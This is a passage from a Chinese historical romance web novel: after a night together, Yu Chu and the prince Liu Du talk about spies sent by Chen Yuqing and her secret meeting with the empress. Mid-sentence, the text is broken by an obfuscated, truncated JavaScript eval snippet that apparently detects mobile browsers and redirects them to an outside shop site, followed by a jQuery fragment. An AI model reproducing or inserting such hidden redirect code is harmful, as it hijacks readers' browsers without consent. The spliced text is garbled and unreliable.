地上的里衣一件盖着一件,也分不清谁是谁的。被窝里本来就暖和,被刘渡这么一折腾,虞初只觉得被窝更热了些。可是身上那人也不可能下去,只好偷偷将被子往下拉了拉来透气。 虞初本来还有很多话想跟刘渡说,可是事后看着很快就睡着的刘渡也只能继续闷在心里。她知道这两日他和万尘安一定是在想怎么攻入京城最为稳妥的办法。不管是为了自己还是为了跟在他身后的那些人,他必须要做到万无一失。她伸手拨弄着他鬓边的头发,含情脉脉的盯着那张无可挑剔的脸,最后还是忍不住又亲了一下。 “便宜可算是被你全占了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129676|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你没睡着?” 可是刘渡没有回话,依旧闭目。仿佛刚刚只是他随口说的一句梦话。 虞初躺下,也不是没有可能是在做梦,碰巧说的这话。刚闭上眼睛,一直缠在自己腰间的那只手又不安分的动了起来。 “果然没睡着。” “我只是在想,是什么事情让你思来想去到现在都没睡觉。” 刘渡一把将虞初往自己这边搂了搂,让她的身子紧紧的贴在自己身上,两眼直勾勾的盯着虞初惊诧的眼神,等她回答。 “这两日连你人影都看不到,大概是想你想的了。” “这话我喜欢听,以后撒谎的时候可以作为开场。” 刘渡在虞初心里本来就是一个长得端正儒雅的老狐狸,听到刘渡这么说,心下就已经猜到他大概是知道什么了。 “你这么忙,还有空来看着我?”虞初五味杂陈,她觉得刘渡对她,算不上监视,但也不够自由。 “你说对了,我这两日还真没有空让肖成去保护你,他有更重要的事情做。所以你自己要更加小心一些,不要被别人盯上还不知道。” “盯上?”虞初微微张口一脸无辜的看着刘渡,“我和青草回来的时候很顺利啊。哪有人盯上我们。” “肖浅刚刚捉了两个人,就是尾随你们过来的。还顺利,你跟我讲讲顺利在哪里。” 虞初回想回来一路,怎么都想不通到底是哪里出了问题。她总觉得不会是那个约自己见面的人。 “有问出他们是谁的人吗?” “陈羽轻派过来的,不过他们并不知道你们是谁,他们只是想看看跟皇后见面的到底是谁。” “你都知道啦?”虞初小心翼翼的抬头,眼神无辜又可怜,跟浅雪做错事时的眼神大同小异。 “刘渝被陈云看守在宫里,你觉得皇后就会免于禁足吗?” “封丝棋确实说过是陈羽轻帮她出来的,只不过她说她只是想最后再看一下封老将军的府邸,她才帮忙的。这些年,她给了陈羽轻不少帮助,陈羽轻也就答应了这个请求。” “她没说谎,若是陈羽轻早就知道是你,不会只安排这两个小啰啰跟人。” “那他们不回去,陈羽轻不会怀疑吗?”虞初突然惊起,“那封丝棋会不会有危险?” 刘渡早就习惯了她在怀里的“起伏不定”,在她要起身之前立马用手将她按住,“不会,已经放他们走了。肖浅做事你放心,她已经威逼利诱过了,想必那两个人必定回的是肖浅想让他们回的话。” 虞初心安的笑了笑:“我们王爷到底有什么魅力,怎么能网罗这么多能人巧匠,个个都能力超凡,有勇有谋。” 刘渡也不谦虚,得意的笑道:“我只有这方面的魅力吗?” “刘渡,你这么不正经,他们都知不知道!” 虞初无语,刘渡在外一本正经,怎么两个人的时候,这么没羞没臊的,没一个正人君子的模样!